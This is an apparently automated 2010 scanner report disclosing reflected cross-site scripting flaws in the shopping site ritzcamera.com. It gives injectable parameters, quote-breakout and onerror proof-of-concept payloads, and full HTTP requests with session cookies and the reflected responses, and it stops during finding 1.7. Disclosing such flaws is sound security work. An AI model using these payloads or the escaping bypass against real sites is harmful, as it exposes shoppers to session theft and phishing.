ritzcamera.com, XSS, Cross Site Scripting, CWE-79, CAPEC-86

Cross Site Scripting in ritzcamera.com | vulnerability Crawler Report

Report generated by XSS.CX at Mon Dec 27 10:22:23 CST 2010.


Contents

1. Cross-site scripting (reflected)


Contents

Loading

1.1. http://www.ritzcamera.com/help/review.htm [partNumber parameter]

1.2. http://www.ritzcamera.com/webapp/wcs/stores/servlet/OrderItemAdd [REST URL parameter 5]

1.3. http://www.ritzcamera.com/webapp/wcs/stores/servlet/OrderItemAdd [URL parameter]

1.4. http://www.ritzcamera.com/webapp/wcs/stores/servlet/OrderItemAdd [orderId parameter]

1.5. http://www.ritzcamera.com/webapp/wcs/stores/servlet/OrderItemAdd [storeId parameter]

1.6. http://www.ritzcamera.com/webapp/wcs/stores/servlet/OrderItemDisplay [REST URL parameter 5]

1.7. http://www.ritzcamera.com/webapp/wcs/stores/servlet/OrderItemDisplay [orderId parameter]

1.8. http://www.ritzcamera.com/webapp/wcs/stores/servlet/OrderItemDisplay [storeId parameter]

1.9. http://www.ritzcamera.com/webapp/wcs/stores/servlet/ProductImagesView [REST URL parameter 5]

1.10. http://www.ritzcamera.com/webapp/wcs/stores/servlet/ProductImagesView [productId parameter]

1.11. http://www.ritzcamera.com/webapp/wcs/stores/servlet/ProductImagesView [storeId parameter]

1.12. http://www.ritzcamera.com/webapp/wcs/stores/servlet/SearchView [REST URL parameter 5]

1.13. http://www.ritzcamera.com/webapp/wcs/stores/servlet/SearchView [storeId parameter]

1.14. http://www.ritzcamera.com/webapp/wcs/stores/servlet/SiteLogicView [REST URL parameter 5]

1.15. http://www.ritzcamera.com/webapp/wcs/stores/servlet/SiteLogicView [storeId parameter]

1.16. http://www.ritzcamera.com/webapp/wcs/stores/servlet/TrackOrderStatus [REST URL parameter 5]

1.17. http://www.ritzcamera.com/webapp/wcs/stores/servlet/TrackOrderStatus [storeId parameter]



1. Cross-site scripting (reflected)
There are 17 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.ritzcamera.com/help/review.htm [partNumber parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.ritzcamera.com
Path:   /help/review.htm

Issue detail

The value of the partNumber request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 97ff9"%3balert(1)//cb615f0f6ee was submitted in the partNumber parameter. This input was echoed as 97ff9";alert(1)//cb615f0f6ee in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /help/review.htm?partNumber=EP9265741797ff9"%3balert(1)//cb615f0f6ee HTTP/1.1
Host: www.ritzcamera.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000DoIJgWX0FjK76nXDXZWGfov:13iapteqv; __utmz=139061164.1293336523.1.1.utmcsr=Become|utmccn=(not%20set)|utmcmd=cpc; WC_SESSION_ESTABLISHED=true; sourcecode=B2PR11; source=B2PR11; IS3_History=1292880176-1-22_27-1-__27_; IS3_GSV=DPL-2_TES-1293336527_PCT-1293336527_GeoIP-174.121.222.18_GeoCo-_GeoRg-_GeoCt-_GeoNs-unknown_GeoDm-; WC_GENERIC_ACTIVITYDATA=[591010345%3atrue%3afalse%3a0%3awsaregpwFC15FUBsruVRJ9wAWJA%3d][com.ibm.commerce.context.base.BaseContext|10001%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.catalog.businesscontext.CatalogContext|10001%26null%26false%26false%26false][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10001%2610001%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utma=139061164.3307532131750810000.1293336523.1293336523.1293336523.1; __utmc=139061164; WC_ACTIVEPOINTER=%2d1%2c10001; __utmb=139061164.1.10.1293336523; WC_USERACTIVITY_-1002=%2d1002%2c10001%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cDRHtg2wACM0Adzo4BKwmBq%2fn%2bcdAcvktYI8%2b%2bO2E0MHmqfL%2bhE8duOLJTTXjFHPBpD15djfe1UQc%0aeIt5%2bj4ziXgGHN9NvhgAZDx6R%2b8wHZC6ONufrxkLLOAX3yXZxwUv4dMyANFoQ5g%3d;

Response

HTTP/1.1 200 OK
Connection: close
Server: IBM_HTTP_Server
P3P: CP="IDC DSP DEVa TAIa OUR BUS UNI STA",policyref="/w3c/p3p.xml", CP="IDC DSP DEVa TAIa OUR BUS UNI STA",policyref="/w3c/p3p.xml"
Opt: http://www.w3.org/2000/P3Pv1, http://www.w3.org/2000/P3Pv1
Content-Language: en-US
Content-Type: text/html; charset=ISO_8859-1
Date: Sun, 26 Dec 2010 04:44:44 GMT
Content-Length: 45206
ETag: "pv429eee0d45f468a164fec1689ab66d53"
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
X-PvInfo: [S10201.C11265.A40432.RA0.G0.U93DE2392].[OT/html.OG/pages]
Vary: Accept-Encoding
Accept-Ranges: none


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<HTML>
<HEAD>
<TITLE>RitzCamera.com - Write a Review</TITLE>
<LINK REL="stylesheet" HREF="/css/common.css
...[SNIP]...
<script type="text/javascript">
var pr_page_id = "EP9265741797ff9";alert(1)//cb615f0f6ee";
var pr_merchant_id = 1627;
</script>
...[SNIP]...

1.2. http://www.ritzcamera.com/webapp/wcs/stores/servlet/OrderItemAdd [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.ritzcamera.com
Path:   /webapp/wcs/stores/servlet/OrderItemAdd

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c8814\"%3balert(1)//227c546b406 was submitted in the REST URL parameter 5. This input was echoed as c8814\\";alert(1)//227c546b406 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.

Request

GET /webapp/wcs/stores/servlet/OrderItemAddc8814\"%3balert(1)//227c546b406 HTTP/1.1
Host: www.ritzcamera.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000DoIJgWX0FjK76nXDXZWGfov:13iapteqv; __utmz=139061164.1293336523.1.1.utmcsr=Become|utmccn=(not%20set)|utmcmd=cpc; WC_SESSION_ESTABLISHED=true; sourcecode=B2PR11; source=B2PR11; IS3_History=1292880176-1-22_27-1-__27_; IS3_GSV=DPL-2_TES-1293336527_PCT-1293336527_GeoIP-174.121.222.18_GeoCo-_GeoRg-_GeoCt-_GeoNs-unknown_GeoDm-; WC_GENERIC_ACTIVITYDATA=[591010345%3atrue%3afalse%3a0%3awsaregpwFC15FUBsruVRJ9wAWJA%3d][com.ibm.commerce.context.base.BaseContext|10001%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.catalog.businesscontext.CatalogContext|10001%26null%26false%26false%26false][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10001%2610001%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utma=139061164.3307532131750810000.1293336523.1293336523.1293336523.1; __utmc=139061164; WC_ACTIVEPOINTER=%2d1%2c10001; __utmb=139061164.1.10.1293336523; WC_USERACTIVITY_-1002=%2d1002%2c10001%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cDRHtg2wACM0Adzo4BKwmBq%2fn%2bcdAcvktYI8%2b%2bO2E0MHmqfL%2bhE8duOLJTTXjFHPBpD15djfe1UQc%0aeIt5%2bj4ziXgGHN9NvhgAZDx6R%2b8wHZC6ONufrxkLLOAX3yXZxwUv4dMyANFoQ5g%3d;

Response

HTTP/1.1 200 OK
Connection: close
Server: IBM_HTTP_Server
X-Ritz-Cache-Control: DO-NOT-CACHE
P3P: CP="IDC DSP DEVa TAIa OUR BUS UNI STA",policyref="/w3c/p3p.xml"
Opt: http://www.w3.org/2000/P3Pv1
Content-Language: en-US
Content-Type: text/html; charset=ISO_8859-1
Date: Sun, 26 Dec 2010 04:44:26 GMT
Content-Length: 1060
ETag: "pve27af1b4c655e43835f396bd28371460"
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
X-PvInfo: [S10203.C11265.A40383.RA0.G0.U4A746BAA].[OT/html.OG/pages]
Vary: Accept-Encoding
Accept-Ranges: none


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>RitzCamera.com</title>
<script src="/ga.js" type="text/javascript"></script>
<script
...[SNIP]...
<script type="text/javascript">trackEvent("Generic Error", "Unknown", "_ERR_CMD_CMD_NOT_FOUND: Command not found: \"OrderItemAddc8814\\";alert(1)//227c546b406\"." + " " + location.pathname);</script>
...[SNIP]...

1.3. http://www.ritzcamera.com/webapp/wcs/stores/servlet/OrderItemAdd [URL parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.ritzcamera.com
Path:   /webapp/wcs/stores/servlet/OrderItemAdd

Issue detail

The value of the URL request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c7f87\"%3ba93462e8791 was submitted in the URL parameter. This input was echoed as c7f87\\";a93462e8791 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.

Request

GET /webapp/wcs/stores/servlet/OrderItemAdd?URL=OrderItemDisplayc7f87\"%3ba93462e8791&catEntryId_1=14613646&quantity_1=1 HTTP/1.1
Host: www.ritzcamera.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000DoIJgWX0FjK76nXDXZWGfov:13iapteqv; __utmz=139061164.1293336523.1.1.utmcsr=Become|utmccn=(not%20set)|utmcmd=cpc; WC_SESSION_ESTABLISHED=true; sourcecode=B2PR11; source=B2PR11; IS3_History=1292880176-1-22_27-1-__27_; IS3_GSV=DPL-2_TES-1293336527_PCT-1293336527_GeoIP-174.121.222.18_GeoCo-_GeoRg-_GeoCt-_GeoNs-unknown_GeoDm-; WC_GENERIC_ACTIVITYDATA=[591010345%3atrue%3afalse%3a0%3awsaregpwFC15FUBsruVRJ9wAWJA%3d][com.ibm.commerce.context.base.BaseContext|10001%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.catalog.businesscontext.CatalogContext|10001%26null%26false%26false%26false][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10001%2610001%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utma=139061164.3307532131750810000.1293336523.1293336523.1293336523.1; __utmc=139061164; WC_ACTIVEPOINTER=%2d1%2c10001; __utmb=139061164.1.10.1293336523; WC_USERACTIVITY_-1002=%2d1002%2c10001%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cDRHtg2wACM0Adzo4BKwmBq%2fn%2bcdAcvktYI8%2b%2bO2E0MHmqfL%2bhE8duOLJTTXjFHPBpD15djfe1UQc%0aeIt5%2bj4ziXgGHN9NvhgAZDx6R%2b8wHZC6ONufrxkLLOAX3yXZxwUv4dMyANFoQ5g%3d;

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Server: IBM_HTTP_Server
X-Ritz-Cache-Control: DO-NOT-CACHE
P3P: CP="IDC DSP DEVa TAIa OUR BUS UNI STA",policyref="/w3c/p3p.xml"
Opt: http://www.w3.org/2000/P3Pv1
Content-Language: en-US
Content-Type: text/html; charset=ISO_8859-1
Date: Sun, 26 Dec 2010 04:45:19 GMT
Content-Length: 1054
ETag: "pv8f59a798b1dd7e5f6c0cea60a3d2408c"
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
X-PvInfo: [S10203.C11265.A40383.RA0.G0.U3AA54BA7].[OT/html.OG/pages]
Vary: Accept-Encoding
Accept-Ranges: none


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>RitzCamera.com</title>
<script src="/ga.js" type="text/javascript"></script>
<script
...[SNIP]...
<script type="text/javascript">trackEvent("Generic Error", "Unknown", "_ERR_CMD_CMD_NOT_FOUND: Command not found: \"OrderItemDisplayc7f87\\";a93462e8791\"." + " " + location.pathname);</script>
...[SNIP]...

1.4. http://www.ritzcamera.com/webapp/wcs/stores/servlet/OrderItemAdd [orderId parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.ritzcamera.com
Path:   /webapp/wcs/stores/servlet/OrderItemAdd

Issue detail

The value of the orderId request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 527c7\"%3balert(1)//b5132c620a0 was submitted in the orderId parameter. This input was echoed as 527c7\\";alert(1)//b5132c620a0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.

Request

GET /webapp/wcs/stores/servlet/OrderItemAdd?storeId=10001&catalogId=10001&langId=-1&orderId=527c7\"%3balert(1)//b5132c620a0&URL=%2Fwebapp%2Fwcs%2Fstores%2Fservlet%2FOrderItemDisplay%3FcatEntryId_*%3D%26quantity_*%3D%26field2_*%3D%26errorViewName%3D%26orderItemId%3D%26error_radio*%3D&catEntryId_1= HTTP/1.1
Host: www.ritzcamera.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000DoIJgWX0FjK76nXDXZWGfov:13iapteqv; __utmz=139061164.1293336523.1.1.utmcsr=Become|utmccn=(not%20set)|utmcmd=cpc; WC_SESSION_ESTABLISHED=true; sourcecode=B2PR11; source=B2PR11; IS3_History=1292880176-1-22_27-1-__27_; IS3_GSV=DPL-2_TES-1293336527_PCT-1293336527_GeoIP-174.121.222.18_GeoCo-_GeoRg-_GeoCt-_GeoNs-unknown_GeoDm-; WC_GENERIC_ACTIVITYDATA=[591010345%3atrue%3afalse%3a0%3awsaregpwFC15FUBsruVRJ9wAWJA%3d][com.ibm.commerce.context.base.BaseContext|10001%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.catalog.businesscontext.CatalogContext|10001%26null%26false%26false%26false][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10001%2610001%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utma=139061164.3307532131750810000.1293336523.1293336523.1293336523.1; __utmc=139061164; WC_ACTIVEPOINTER=%2d1%2c10001; __utmb=139061164.1.10.1293336523; WC_USERACTIVITY_-1002=%2d1002%2c10001%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cDRHtg2wACM0Adzo4BKwmBq%2fn%2bcdAcvktYI8%2b%2bO2E0MHmqfL%2bhE8duOLJTTXjFHPBpD15djfe1UQc%0aeIt5%2bj4ziXgGHN9NvhgAZDx6R%2b8wHZC6ONufrxkLLOAX3yXZxwUv4dMyANFoQ5g%3d;

Response

HTTP/1.1 200 OK
Connection: close
Server: IBM_HTTP_Server
X-Ritz-Cache-Control: DO-NOT-CACHE
P3P: CP="IDC DSP DEVa TAIa OUR BUS UNI STA",policyref="/w3c/p3p.xml"
Opt: http://www.w3.org/2000/P3Pv1
Content-Language: en-US
Content-Type: text/html; charset=ISO_8859-1
Date: Sun, 26 Dec 2010 04:44:48 GMT
Content-Length: 1058
ETag: "pva65b6c45437f54fd039e3c61ecf4a5cc"
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
X-PvInfo: [S10203.C11265.A40383.RA0.G0.U69593251].[OT/html.OG/pages]
Vary: Accept-Encoding
Accept-Ranges: none


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>RitzCamera.com</title>
<script src="/ga.js" type="text/javascript"></script>
<script
...[SNIP]...
<script type="text/javascript">trackEvent("Generic Error", "Unknown", "_ERR_ORDER_ABBREV: \"527c7\\";alert(1)//b5132c620a0\" is not a valid Order abbreviation." + " " + location.pathname);</script>
...[SNIP]...

1.5. http://www.ritzcamera.com/webapp/wcs/stores/servlet/OrderItemAdd [storeId parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.ritzcamera.com
Path:   /webapp/wcs/stores/servlet/OrderItemAdd

Issue detail

The value of the storeId request parameter is copied into the HTML document as plain text between tags. The payload 8e5fe<img%20src%3da%20onerror%3dalert(1)>a00dcd26185 was submitted in the storeId parameter. This input was echoed as 8e5fe<img src=a onerror=alert(1)>a00dcd26185 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/OrderItemAdd?storeId=100018e5fe<img%20src%3da%20onerror%3dalert(1)>a00dcd26185&catalogId=10001&langId=-1&orderId=&URL=%2Fwebapp%2Fwcs%2Fstores%2Fservlet%2FOrderItemDisplay%3FcatEntryId_*%3D%26quantity_*%3D%26field2_*%3D%26errorViewName%3D%26orderItemId%3D%26error_radio*%3D&catEntryId_1= HTTP/1.1
Host: www.ritzcamera.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000DoIJgWX0FjK76nXDXZWGfov:13iapteqv; __utmz=139061164.1293336523.1.1.utmcsr=Become|utmccn=(not%20set)|utmcmd=cpc; WC_SESSION_ESTABLISHED=true; sourcecode=B2PR11; source=B2PR11; IS3_History=1292880176-1-22_27-1-__27_; IS3_GSV=DPL-2_TES-1293336527_PCT-1293336527_GeoIP-174.121.222.18_GeoCo-_GeoRg-_GeoCt-_GeoNs-unknown_GeoDm-; WC_GENERIC_ACTIVITYDATA=[591010345%3atrue%3afalse%3a0%3awsaregpwFC15FUBsruVRJ9wAWJA%3d][com.ibm.commerce.context.base.BaseContext|10001%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.catalog.businesscontext.CatalogContext|10001%26null%26false%26false%26false][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10001%2610001%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utma=139061164.3307532131750810000.1293336523.1293336523.1293336523.1; __utmc=139061164; WC_ACTIVEPOINTER=%2d1%2c10001; __utmb=139061164.1.10.1293336523; WC_USERACTIVITY_-1002=%2d1002%2c10001%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cDRHtg2wACM0Adzo4BKwmBq%2fn%2bcdAcvktYI8%2b%2bO2E0MHmqfL%2bhE8duOLJTTXjFHPBpD15djfe1UQc%0aeIt5%2bj4ziXgGHN9NvhgAZDx6R%2b8wHZC6ONufrxkLLOAX3yXZxwUv4dMyANFoQ5g%3d;

Response

HTTP/1.1 200 OK
Connection: close
Server: IBM_HTTP_Server
P3P: CP="IDC DSP DEVa TAIa OUR BUS UNI STA",policyref="/w3c/p3p.xml"
Opt: http://www.w3.org/2000/P3Pv1
Content-Language: en-US
Content-Type: text/html
Date: Sun, 26 Dec 2010 04:44:44 GMT
Content-Length: 8115
ETag: "pv3cbbc48f5b85a0822081eca7326a8de0"
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
X-PvInfo: [S10203.C11265.A40383.RA0.G0.U26D99896].[OT/html.OG/pages]
Vary: Accept-Encoding
Accept-Ranges: none

<!--
//********************************************************************
//*-------------------------------------------------------------------
//* Licensed Materials - Property of IBM
//*
/
...[SNIP]...
<TD>The following command exception has occurred during processing: "java.lang.NumberFormatException: For input string: "100018e5fe<img src=a onerror=alert(1)>a00dcd26185"".</TD>
...[SNIP]...

1.6. http://www.ritzcamera.com/webapp/wcs/stores/servlet/OrderItemDisplay [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.ritzcamera.com
Path:   /webapp/wcs/stores/servlet/OrderItemDisplay

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload db1b7\"%3balert(1)//9fd413331b6 was submitted in the REST URL parameter 5. This input was echoed as db1b7\\";alert(1)//9fd413331b6 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.

Request

GET /webapp/wcs/stores/servlet/OrderItemDisplaydb1b7\"%3balert(1)//9fd413331b6 HTTP/1.1
Host: www.ritzcamera.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000DoIJgWX0FjK76nXDXZWGfov:13iapteqv; __utmz=139061164.1293336523.1.1.utmcsr=Become|utmccn=(not%20set)|utmcmd=cpc; WC_SESSION_ESTABLISHED=true; sourcecode=B2PR11; source=B2PR11; IS3_History=1292880176-1-22_27-1-__27_; IS3_GSV=DPL-2_TES-1293336527_PCT-1293336527_GeoIP-174.121.222.18_GeoCo-_GeoRg-_GeoCt-_GeoNs-unknown_GeoDm-; WC_GENERIC_ACTIVITYDATA=[591010345%3atrue%3afalse%3a0%3awsaregpwFC15FUBsruVRJ9wAWJA%3d][com.ibm.commerce.context.base.BaseContext|10001%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.catalog.businesscontext.CatalogContext|10001%26null%26false%26false%26false][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10001%2610001%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utma=139061164.3307532131750810000.1293336523.1293336523.1293336523.1; __utmc=139061164; WC_ACTIVEPOINTER=%2d1%2c10001; __utmb=139061164.1.10.1293336523; WC_USERACTIVITY_-1002=%2d1002%2c10001%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cDRHtg2wACM0Adzo4BKwmBq%2fn%2bcdAcvktYI8%2b%2bO2E0MHmqfL%2bhE8duOLJTTXjFHPBpD15djfe1UQc%0aeIt5%2bj4ziXgGHN9NvhgAZDx6R%2b8wHZC6ONufrxkLLOAX3yXZxwUv4dMyANFoQ5g%3d;

Response

HTTP/1.1 200 OK
Connection: close
Server: IBM_HTTP_Server
X-Ritz-Cache-Control: DO-NOT-CACHE
P3P: CP="IDC DSP DEVa TAIa OUR BUS UNI STA",policyref="/w3c/p3p.xml"
Opt: http://www.w3.org/2000/P3Pv1
Content-Language: en-US
Content-Type: text/html; charset=ISO_8859-1
Date: Sun, 26 Dec 2010 04:44:30 GMT
Content-Length: 1064
ETag: "pvbb4c054ad7e72cb4010d927b12d45f75"
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
X-PvInfo: [S10203.C11265.A40383.RA0.G0.U5CF8A39C].[OT/html.OG/pages]
Vary: Accept-Encoding
Accept-Ranges: none


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>RitzCamera.com</title>
<script src="/ga.js" type="text/javascript"></script>
<script
...[SNIP]...
<script type="text/javascript">trackEvent("Generic Error", "Unknown", "_ERR_CMD_CMD_NOT_FOUND: Command not found: \"OrderItemDisplaydb1b7\\";alert(1)//9fd413331b6\"." + " " + location.pathname);</script>
...[SNIP]...

1.7. http://www.ritzcamera.com/webapp/wcs/stores/servlet/OrderItemDisplay [orderId parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.ritzcamera.com
Path:   /webapp/wcs/stores/servlet/OrderItemDisplay

Issue detail

The value of the orderId request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bf954\"%3balert(1)//55defb547b0 was submitted in the orderId parameter. This input was echoed as bf954\\";alert(1)//55defb547b0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Remediation detail

